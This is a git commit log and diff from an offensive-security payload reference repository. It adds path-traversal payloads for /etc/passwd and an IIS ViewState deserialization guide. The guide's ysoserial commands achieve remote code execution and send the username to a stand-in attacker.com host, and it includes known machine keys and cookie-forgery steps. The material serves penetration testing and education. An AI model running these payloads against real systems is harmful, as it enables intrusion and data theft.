Update YAML.md
2022-10-05 14:55:34 +02:00
gdraperi
666a90ffee Update YAML.md
Updating the actual risks for Python
2022-10-05 13:47:24 +02:00
Nayeem Islam
7e82d93897 Added 2FA bypass via Force Browsing on Account Takeover branch 2022-10-05 17:42:01 +06:00
clem9669
2aa353a5b9 Update XSS_Polyglots.txt
Adding the latest BruteLogic polyglot
2022-10-05 09:45:15 +00:00
Swissky
a766679356 Merge pull request #559 from gdraperi/patch-1
Update README.md
2022-10-05 10:20:58 +02:00
Swissky
643374e1d7 Add reference 2022-10-05 10:20:05 +02:00
gdraperi
2d03a74555 Update README.md
Adding payloads for Citrix and Cisco
2022-10-05 10:06:21 +02:00
Swissky
44d761eb2c Merge pull request #558 from CyberVarun/master
Added portswigger labs and reference in Command injection
2022-10-05 09:58:40 +02:00
Varun Jagtap
3022c25995 Added portswigger labs and reference 2022-10-05 12:50:10 +05:30
Swissky
c420ed6bf7 Merge pull request #553 from ndsvw/Linkfix
Fixed invalid hyperlink
2022-10-04 11:08:59 +02:00
Swissky
a1c783d8d2 Merge pull request #555 from mschader/patch-8
CVE Exploit: Add trickest CVE repo
2022-10-04 09:42:05 +02:00
Swissky
a5c91d8ed3 Merge pull request #556 from mschader/patch-9
Zip Slip: Add slipit to tools
2022-10-04 09:40:51 +02:00
Swissky
77b0599653 Merge pull request #554 from qligier/master
XXE: Improve the documentation
2022-10-03 18:44:54 +02:00
Markus
950114b9e6 Zip Slip: Add slipit to tools 2022-10-03 18:19:28 +02:00
Markus
f8d04cef3b CVE Exploit: Add trickest CVE repo 2022-10-03 17:51:39 +02:00
Quentin Ligier
6bbdc85aa2 XXE: Improve the documentation
- Add two references: "OWASP XXE prevention cheat sheet" and "XXE: How to become a Jedi"
- Describe the Parameters Laugh attack
- Expand the WAF bypass method with UTF-7
- Update the summary
2022-10-03 17:14:22 +02:00
Alexander Lübeck
576322d475 Fixed invalid hyperlink 2022-10-02 15:58:16 +02:00
Swissky
bbe4bbce05 Merge pull request #552 from swisskyrepo/hacktober-methodo-rework
Methodology and enumeration rework
2022-10-02 13:14:35 +02:00
Swissky
99a1304af9 Methodology and enumeration rework 2022-10-02 13:13:16 +02:00
Swissky
3f1689b9bc Merge pull request #551 from swisskyrepo/hacktober-blind-ssti
Blind SSTI Jinja
2022-10-02 12:27:07 +02:00
Swissky
4ed3e3b6b9 Blind SSTI Jinja 2022-10-02 12:24:39 +02:00
Swissky
444d8ad169 Merge pull request #549 from InTruder-Sec/master
Added PortSwigger Labs to the repo
2022-10-02 12:16:08 +02:00
Swissky
6b9f6de7dd Merge pull request #548 from mschader/patch-7
Java RMI: Add remote-method-guesser to tools
2022-10-02 12:14:51 +02:00
Deep Dhakate
a670a26eea Update 2022-10-02 06:13:01 +00:00
Shahne Rodgers
1659e7c50e Adds more details to the HTTP request smuggling topic
I've tried to give a brief (and certainly not exhaustive) summary of what HTTP request smuggling actually is, HTTP/2 request smuggling attacks and James Kettle's new research on client-side desync attacks.
2022-10-02 16:12:44 +13:00
Markus
bd6a1b759a Java RMI: Add remote-method-guesser to tools
This also includes slight adjustments to the README.md to adhere to the current contribution example layout
2022-10-01 22:04:49 +02:00
Deep Dhakate
9f0c70d46f update 2022-10-01 19:56:49 +00:00
Swissky
9d1421a6c3 Merge pull request #547 from mschader/patch-6
Api Key Leaks: Add Trivy to tools section
2022-10-01 19:01:47 +02:00
Markus
b7d275d5b0 Api Key Leaks: Add Trivy to tools section 2022-10-01 17:20:51 +02:00
Swissky
72a8556dc9 NodeJS Serialization 2022-09-23 11:21:29 +02:00
Swissky
7a528ccb3f Merge pull request #545 from noraj/patch-1
Blind NoSQL scripts
2022-09-23 00:38:05 +02:00
Alexandre ZANNI
7e2fa15462 Blind NoSQL scripts
- add missing menu item
- use better string interpolation for python script
- add ruby script
2022-09-23 00:36:41 +02:00
Swissky
2d30e22121 DPAPI - Data Protection API 2022-09-23 00:35:34 +02:00
Swissky
6b76c452a7 Merge pull request #544 from Processus-Thief/master
update hekatomb to install with pip
2022-09-22 16:12:23 +02:00
Processus Thief
8d564ff78b update hekatomb to install with pip
hekatomb is now available on pypi to simplify its installation
2022-09-22 16:10:20 +02:00
Swissky
097756da1c Merge pull request #543 from noraj/patch-1
add 3 template engines + add lang in menu
2022-09-21 11:42:32 +02:00
Alexandre ZANNI
3e68276fb7 add 3 template engines + add lang in menu 2022-09-21 11:28:57 +02:00
Swissky
c3421582bc Merge pull request #542 from Processus-Thief/master
Adding Hekatomb.py to DPAPI credentials stealing
2022-09-20 22:31:07 +02:00
Processus Thief
885f8bdb8f Adding Hekatomb.py to DPAPI credentials stealing
Hekatomb is a python script that connects to LDAP directory to retrieve all computers and users informations.
Then it will download all DPAPI blob of all users from all computers.
Finally, it will extract domain controller private key through RPC uses it to decrypt all credentials.

More infos here : https://github.com/Processus-Thief/HEKATOMB
2022-09-20 16:56:07 +02:00
Swissky
267713c0fb YAML Deserialization 2022-09-16 16:37:40 +02:00
Swissky
e677f07197 Merge pull request #539 from dhmosfunk/master
add a new tool for manually http request smuggling exploitation
2022-09-16 08:53:00 +02:00
Dhmos Funk
b4e7add674 add simple http smuggler generator for easiest manually exploitation 2022-09-16 02:30:57 +03:00
Dhmos Funk
d5aed653e8 Update README.md 2022-09-14 18:05:31 +03:00
Swissky
b8afbc8f92 Merge branch 'master' of https://github.com/swisskyrepo/PayloadsAllTheThings 2022-09-13 22:04:58 +02:00
Swissky
c7dd67986c Oracle SQL 2022-09-13 22:04:21 +02:00
Swissky
d32c48bad8 Merge pull request #538 from clem9669/master
XSS: Adding brutelogic polyglot
2022-09-13 15:03:34 +02:00
clem9669
88134256c8 Adding brutelogic polyglot
Adding brutelogic polyglot from blog post.
2022-09-13 11:58:10 +00:00
Swissky
0ca060c049 Merge pull request #537 from dhmosfunk/master
Update the Postgresql time based payloads for database,table,columns extract
2022-09-10 16:44:20 +02:00
Dhmos Funk
aa89a909d1 Update PostgreSQL Injection.md 2022-09-10 15:56:31 +03:00
Swissky
38fa931b84 Merge pull request #525 from mrThe/patch-1
Add boolean-error-based vector for the sqlite
2022-09-07 14:02:54 +02:00
Swissky
7663594118 Update SQLite Injection.md 2022-09-07 14:02:38 +02:00
Swissky
e11a37e6a2 Merge pull request #515 from vladko312/patch-1
Added a new SSTI tool
2022-09-07 14:01:09 +02:00
Swissky
d24e3f2d61 Merge pull request #497 from kz-cyber/xss/angular-xss-2
[update] Angular XSS payload
2022-09-07 00:34:29 +02:00
Swissky
b6e7210ee0 Merge pull request #501 from fantesykikachu/win-p3-revshell
Add Windows Python3 Reverse Shell
2022-09-06 23:23:50 +02:00
Swissky
86e8feca7c Merge pull request #499 from p3n7a90n/NosqliPayloads
Added basic SSJI paylods
2022-09-06 23:17:12 +02:00
Swissky
26e9cb6dc1 Merge pull request #504 from MilyMilo/master
Add new ruby yaml gadget chain
2022-09-06 23:16:13 +02:00
Swissky
fb7f10eab8 Merge pull request #485 from ajdumanhug/master
SSRF: Don't encode entire IP
2022-09-06 23:15:20 +02:00
Swissky
8d609b1460 Update README.md 2022-09-06 23:15:12 +02:00
Swissky
84fa229a44 Merge pull request #463 from nismo-s13/master
Delete Parser & Curl < 7.54.png
2022-09-06 23:13:55 +02:00
Swissky
3e8ef29223 Merge pull request #536 from CravateRouge/patch-1
Update bloodyAD attacks
2022-09-06 19:32:21 +02:00
CravateRouge
dad7362da6 Update bloodyAD attacks 2022-09-06 19:13:34 +02:00
Swissky
191a72c57e Merge branch 'master' of https://github.com/swisskyrepo/PayloadsAllTheThings 2022-09-06 10:05:16 +02:00
Swissky
2be739ea4f Fixing TGS/ST 2022-09-06 10:03:49 +02:00
Swissky
bdc2d55dd9 Merge pull request #533 from 0xsyr0/patch-1
Quick fix for WSUS malicious patch
2022-09-04 20:54:17 +02:00
Swissky
9e2471a472 SCCM Network Account 2022-09-04 20:51:23 +02:00
Swissky
fae02107df Jetty RCE Credits 2022-09-04 14:24:16 +02:00
Swissky
4bc5f724b2 Moving learning resources into a specific folder 2022-09-03 16:17:23 +02:00
Swissky
811863501b ESC9 - No Security Extension 2022-09-03 12:07:24 +02:00
Swissky
b1c46228c2 Merge pull request #535 from Techbrunch/patch-11
Add Django Templates SSTI
2022-08-30 14:43:38 +02:00
Techbrunch
7850928d41 Add detection 2022-08-30 13:54:59 +02:00
Techbrunch
871b3bcaf2 Add Django Templates SSTI 2022-08-30 13:50:03 +02:00
0xsry0
343d63f79f Quick fix for WSUS malicious patch
Not sure if it is deprecated but by tackling the box Outdated on HTB, the command didn't worked with two `&&`. To concatenate  `"net user WSUSDemo Password123! /add ` and `net localgroup administrators WSUSDemo /add\""`, the `^&` is required.
2022-08-24 09:10:55 +02:00
Swissky
fbd7517e04 LFI2RCE - Picture Compression - SOCKS5 CS 2022-08-21 16:38:54 +02:00
Swissky
e7af5aeb84 Merge pull request #532 from wlayzz/patch-2
Update java ssti
2022-08-19 16:25:00 +02:00
Wlayzz
961d935623 Update java ssti
fix little inattention
2022-08-19 16:22:39 +02:00
Swissky
b25f461b6e Merge pull request #531 from wlayzz/patch-1
Update Java SSTI
2022-08-19 15:16:46 +02:00
Wlayzz
8d70f262ae Update Java SSTI
Adding variable expressions alternative for java injection
2022-08-19 15:04:52 +02:00
Swissky
804920be62 Source Code Management 2022-08-18 10:43:01 +02:00
Swissky
abc78a6a67 Merge pull request #528 from denandz/patch-1
Add multipart/form-data CSRF technique
2022-08-17 14:24:34 +02:00
DoI
b3e6220da6 Add multipart/form-data CSRF technique 2022-08-17 09:29:05 +12:00
Swissky
6650c361e7 Capture a network trace with builtin tools 2022-08-15 15:02:29 +02:00
Swissky
55e05b4b17 Merge pull request #527 from natrajms/patch-2
Updating Reference section hyperlinks
2022-08-15 11:40:15 +02:00
Natraj Sangashetty
1bd82af11e Updating Reference section hyperlinks 2022-08-15 11:15:33 +05:30
nerrorsec
418285b7f6 Boolean - Extract info (order by) 2022-08-13 10:07:54 +05:45
mr.The
f82efffbc7 Boolean error based* instead of just error based 2022-08-12 18:36:43 +03:00
mr.The
0d9a2354e5 Add error-based vector for the sqlite 2022-08-12 18:33:44 +03:00
Swissky
683167d4e9 Merge pull request #521 from mh4ckt3mh4ckt1c4s/ssti-detection
Add SSTI detection payload + related resource
2022-08-09 22:09:15 +02:00
Swissky
11271d9072 Jetty RCE 2022-08-09 22:06:55 +02:00
Swissky
fa849c00f2 Jetty RCE + Upload tricks 2022-08-09 22:05:45 +02:00
Swissky
919fee6320 Merge pull request #524 from its0x08/master
fix: Fix spelling
2022-08-09 14:05:19 +02:00
its0x08
31b213227e fix: Fix more spelling 2022-08-09 11:05:40 +02:00
its0x08
fc1f3b25a7 fix: Fix spelling 2022-08-09 11:02:21 +02:00
Swissky
55c9689487 Merge pull request #522 from aelmosalamy/patch-1
Typo fix
2022-08-08 22:08:20 +02:00
Adham Elmosalamy
1b2471265a Typo fix 2022-08-08 16:08:55 +04:00
mh4ckt3mh4ckt1c4s
9d274a39a4 Add SSTI detection payload + related resource 2022-08-05 20:05:20 +02:00
Swissky
7fe0a0475e Docker Escape cgroup 2022-08-05 12:26:31 +02:00
Swissky
835d6fffe0 Shadow Credentials 2022-08-05 12:00:41 +02:00
Swissky
52e255cb75 Merge pull request #520 from sebch-/patch-1
Update Active Directory Attack.md
2022-08-03 19:20:11 +02:00
Swissky
fe1fa242ba Merge pull request #519 from spidyhackx/patch-1
typo
2022-08-03 19:19:40 +02:00
Spidycodes
bb6c9ed172 typo 2022-08-02 21:48:07 +00:00
Seb
310338b279 Update Active Directory Attack.md
Find AD
2022-08-02 15:09:23 +02:00
Swissky
e386a110d9 Find DC 2022-07-27 17:23:30 +02:00
Swissky
83c4658ff8 Merge pull request #517 from svewa/master
Twig in Wordpress
2022-07-24 13:22:24 +02:00
s. vewa
33d632df4e Twig in Wordpress
Was very unsuccessful with the given Twig examples, quotes were escaped so got invalid, file_excerpt threw an error, too. Include and also injecting the file name helped. Don't know if this is a wordpress thing...
2022-07-24 12:30:09 +02:00
Swissky
820147466a Merge pull request #516 from jjeyanthan/patch-1
Update OracleSQL Injection.md
2022-07-20 19:31:11 +02:00
Jeyanthan
7ad7ae722d Update OracleSQL Injection.md
missing 'T' in the SELECT in the  Oracle blind SQLI section
2022-07-20 13:34:27 +02:00
Vladislav Korchagin
7b79bce819 Update README.md 2022-07-17 18:35:59 +03:00
Swissky
d9921e370b Merge pull request #511 from buddyeatsbugs/master
Update CSWSH payload
2022-06-30 20:37:05 +02:00
somebodyoncetoldme
d0a198ffee Update README.md 2022-06-30 10:37:41 -07:00
fantesykikachu
f6c455d8f9 Windows Python3 Reverse Shell 2022-06-28 06:54:06 +00:00
Miłosz Skaza
eb933317d0 Add new ruby yaml gadget chain 2022-06-01 09:55:48 +01:00
Sanjay Das
af973ef0ad Added basic SSJI paylods 2022-05-17 09:53:37 +05:30
khiemtq-cyber
507c493db2 Update Angular XSS 2022-05-07 12:55:15 +07:00
Aj Dumanhug
3c441669d8 Update README.md 2022-03-13 01:30:37 +08:00
nismo-s13
342b1f4f60 Rename shell.png?shell.php to shell.png^shell.php 2021-11-24 17:56:20 +13:00
nismo-s13
410758cf80 Rename shell.jpg?shell.php to shell.jpg^shell.php 2021-11-24 17:55:52 +13:00
nismo-s13
b1ce7a2547 Rename shell.gif?shell.php to shell.gif^shell.php 2021-11-24 17:55:13 +13:00
nismo-s13
35e64b2275 Delete Parser & Curl < 7.54.png 2021-11-24 17:47:39 +13:00
264 changed files with 17885 additions and 23181 deletions

11
.github/.markdownlint.json vendored Normal file
View File

@@ -0,0 +1,11 @@
{
"default": true,
"MD013": false,
"MD033": false,
"no-duplicate-heading": {
"siblings_only": true
},
"ul-indent": {
"indent": 4
}
}

3
.github/FUNDING.yml vendored
View File

@@ -1,5 +1,4 @@
# These are supported funding model platforms # These are supported funding model platforms
github: swisskyrepo github: swisskyrepo
ko_fi: swissky # Replace with a single Ko-fi username ko_fi: swissky
custom: https://www.buymeacoffee.com/swissky custom: https://www.buymeacoffee.com/swissky

View File

@@ -315,6 +315,14 @@
"name": "Filter Bypass 2", "name": "Filter Bypass 2",
"value": "..///////..////..//////etc/passwd" "value": "..///////..////..//////etc/passwd"
}, },
{
"name": "Filter Bypass 3",
"value": "...//...//etc/passwd"
},
{
"name": "Filter Bypass 4",
"value": "%252f..%252f..%252f..%252f..%252fetc/passwd"
},
{ {
"name": "Filter Bypass 3", "name": "Filter Bypass 3",
"value": "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd" "value": "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"

28
.github/overrides/main.html vendored Normal file
View File

@@ -0,0 +1,28 @@
{% extends "base.html" %}
{% block content %}
{{ super() }}
<div class="social-container">
<b>Share this content</b>
<div class="a2a_kit a2a_kit_size_32 a2a_default_style">
<a class="a2a_dd" href="https://www.addtoany.com/share"></a>
<a class="a2a_button_x"></a>
<a class="a2a_button_telegram"></a>
<a class="a2a_button_linkedin"></a>
<a class="a2a_button_email"></a>
<a class="a2a_button_microsoft_teams"></a>
</div>
<br>
<script async src="https://static.addtoany.com/menu/page.js"></script>
<script defer src="https://cloud.umami.is/script.js" data-website-id="82be5164-e1f3-4cb0-bd22-20e02086d3d4"></script>
</div>
{% endblock %}
{% block styles %}
{{ super() }}
<style>
.social-container {
float: right;
}
</style>
{% endblock %}

23
.github/workflows/check-markdown.yml vendored Normal file
View File

@@ -0,0 +1,23 @@
name: check-markdown
on: [push, pull_request]
jobs:
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- uses: tj-actions/changed-files@v45
id: changed-files
with:
files: '**/*.md'
separator: ","
- uses: DavidAnson/markdownlint-cli2-action@v17
if: steps.changed-files.outputs.any_changed == 'true'
with:
globs: ${{ steps.changed-files.outputs.all_changed_files }}
separator: ","
config: ./.github/.markdownlint.json

35
.github/workflows/mkdocs-build.yml vendored Normal file
View File

@@ -0,0 +1,35 @@
name: mkdocs-build
on:
push:
branches:
- master
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
submodules: recursive
# Checks-out submodules
- uses: actions/checkout@v2
- name: Checkout submodules
shell: bash
run: |
git config --global user.email "no-reply@github.com"
git config --global user.name "Swk"
git config --global pull.rebase false
git submodule add https://github.com/swisskyrepo/PayloadsAllTheThings/ docs
mv docs/.github/overrides .
- uses: actions/setup-python@v2
with:
python-version: 3.x
- run: pip install mkdocs-material
- run: pip install mkdocs-git-revision-date-localized-plugin
- run: pip install mkdocs-git-committers-plugin
- run: pip install mkdocs-material[imaging]
- run: pip install mdx_truly_sane_lists
- run: mkdocs gh-deploy --force

1
.gitignore vendored
View File

@@ -1,4 +1,3 @@
BuildPDF/ BuildPDF/
.vscode .vscode
.todo .todo
AWS Amazon Lambda/

View File

@@ -0,0 +1,197 @@
# IIS Machine Keys
> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
## Summary
* [Viewstate Format](#viewstate-format)
* [Machine Key Format And Locations](#machine-key-format-and-locations)
* [Identify Known Machine Key](#identify-known-machine-key)
* [Decode ViewState](#decode-viewstate)
* [Generate ViewState For RCE](#generate-viewstate-for-rce)
* [MAC Is Not Enabled](#mac-is-not-enabled)
* [MAC Is Enabled And Encryption Is Disabled](#mac-is-enabled-and-encryption-is-disabled)
* [MAC Is Enabled And Encryption Is Enabled](#mac-is-enabled-and-encryption-is-enabled)
* [Edit Cookies With The Machine Key](#edit-cookies-with-the-machine-key)
* [References](#references)
## Viewstate Format
ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.
| Format | Properties |
| --- | --- |
| Base64 | `EnableViewStateMac=False`, `ViewStateEncryptionMode=False` |
| Base64 + MAC | `EnableViewStateMac=True` |
| Base64 + Encrypted | `ViewStateEncryptionMode=True` |
By default until Sept 2014, the `enableViewStateMac` property was to set to `False`.
Usually unencrypted viewstate are starting with the string `/wEP`.
## Machine Key Format And Locations
A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.
The format of a machineKey is the following.
```xml
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />
```
The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.
The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.
The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.
The `decryption` attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.
The following example of a machineKey is from [Microsoft documentation](https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).
```xml
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
```
Common locations of **web.config** / **machine.config**
* 32-bits
* `C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config`
* `C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config`
* 64-bits
* `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config`
* `C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config`
* in the registry when **AutoGenerate** is enabled (extract with [irsdl/machineKeyFinder.aspx](https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab))
* `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4`
* `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey`
## Identify Known Machine Key
Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.
* [isclayton/viewstalker](https://github.com/isclayton/viewstalker)
```powershell
./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt
____ ____.__ __ .__ __
\ \ / /|__| ______ _ _________/ |______ | | | | __ ___________
\ Y / | |/ __ \ \/ \/ / ___/\ __\__ \ | | | |/ // __ \_ __ \
\ / | \ ___/\ /\___ \ | | / __ \| |_| <\ ___/| | \/
\___/ |__|\___ >\/\_//____ > |__| (____ /____/__|_ \\___ >__|
\/ \/ \/ \/ \/
KEY FOUND!!!
Host:
Validation Key: XXXXX,XXXXX
```
* [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets)
```ps1
python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6
Matching MachineKeys found!
validationKey: C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1
```
* [NotSoSecure/Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)
```powershell
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
```
* [0xacb/viewgen](https://github.com/0xacb/viewgen)
```powershell
$ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1
```
List of interesting machine keys to use:
* [NotSoSecure/Blacklist3r/MachineKeys.txt](https://github.com/NotSoSecure/Blacklist3r/raw/f10304bc90efaca56676362a981d93cc312d9087/MachineKey/AspDotNetWrapper/AspDotNetWrapper/Resource/MachineKeys.txt)
* [isclayton/viewstalker/MachineKeys2.txt](https://raw.githubusercontent.com/isclayton/viewstalker/main/MachineKeys2.txt)
* [blacklanternsecurity/badsecrets/aspnet_machinekeys.txt](https://raw.githubusercontent.com/blacklanternsecurity/badsecrets/dev/badsecrets/resources/aspnet_machinekeys.txt)
## Decode ViewState
* [BApp Store > ViewState Editor](https://portswigger.net/bappstore/ba17d9fb487448b48368c22cb70048dc) - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data.
* [0xacb/viewgen](https://github.com/0xacb/viewgen)
```powershell
viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
```
## Generate ViewState For RCE
First you need to decode the Viewstate to know if the MAC and the encryption are enabled.
**Requirements**:
* `__VIEWSTATE`
* `__VIEWSTATEGENERATOR`
### MAC Is Not Enabled
```ps1
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
```
### MAC Is Enabled And Encryption Is Disabled
* Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen`
```ps1
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
# --modifier = `__VIEWSTATEGENERATOR` parameter value
# --encrypteddata = `__VIEWSTATE` parameter value of the target application
```
* Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used.
```ps1
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
# --generator = `__VIEWSTATEGENERATOR` parameter value
# --validationkey = validation key from the previous command
```
### MAC Is Enabled And Encryption Is Enabled
Default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`.
If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`).
* **.NET Framework < 4.5**, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request
```ps1
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
```
* **.NET Framework > 4.5**, the machineKey has the property: `compatibilityMode="Framework45"`
```ps1
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
```
## Edit Cookies With The Machine Key
If you have the `machineKey` but the viewstate is disabled.
ASP.net Forms Authentication Cookies : [liquidsec/aspnetCryptTools](https://github.com/liquidsec/aspnetCryptTools)
```powershell
# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
```
## References
* [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
* [Project Blacklist3r - @notsosecure - November 23, 2018](https://www.notsosecure.com/project-blacklist3r/)
* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)

View File

@@ -1,224 +1,107 @@
# API Key Leaks # API Key and Token Leaks
> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares. > API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.
## Summary ## Summary
- [Tools](#tools) - [Tools](#tools)
- [Exploit](#exploit) - [Methodology](#methodology)
- [Google Maps](#google-maps) - [Common Causes of Leaks](#common-causes-of-leaks)
- [Algolia](#algolia) - [Validate The API Key](#validate-the-api-key)
- [AWS Access Key ID & Secret](#aws-access-key-id--secret) - [Reducing The Attack Surface](#reducing-the-attack-surface)
- [Slack API Token](#slack-api-token) - [References](#references)
- [Facebook Access Token](#facebook-access-token)
- [Github client id and client secret](#github-client-id-and-client-secret)
- [Twilio Account_sid and Auth Token](#twilio-account_sid-and-auth-token)
- [Twitter API Secret](#twitter-api-secret)
- [Twitter Bearer Token](#twitter-bearer-token)
- [Gitlab Personal Access Token](#gitlab-personal-access-token)
- [HockeyApp API Token](#hockeyapp-api-token)
- [IIS Machine Keys](#iis-machine-keys)
- [Mapbox API Token](#Mapbox-API-Token)
## Tools ## Tools
- [KeyFinder - is a tool that let you find keys while surfing the web!](https://github.com/momenbasel/KeyFinder) - [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
- [Keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.](https://github.com/streaak/keyhacks) - [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
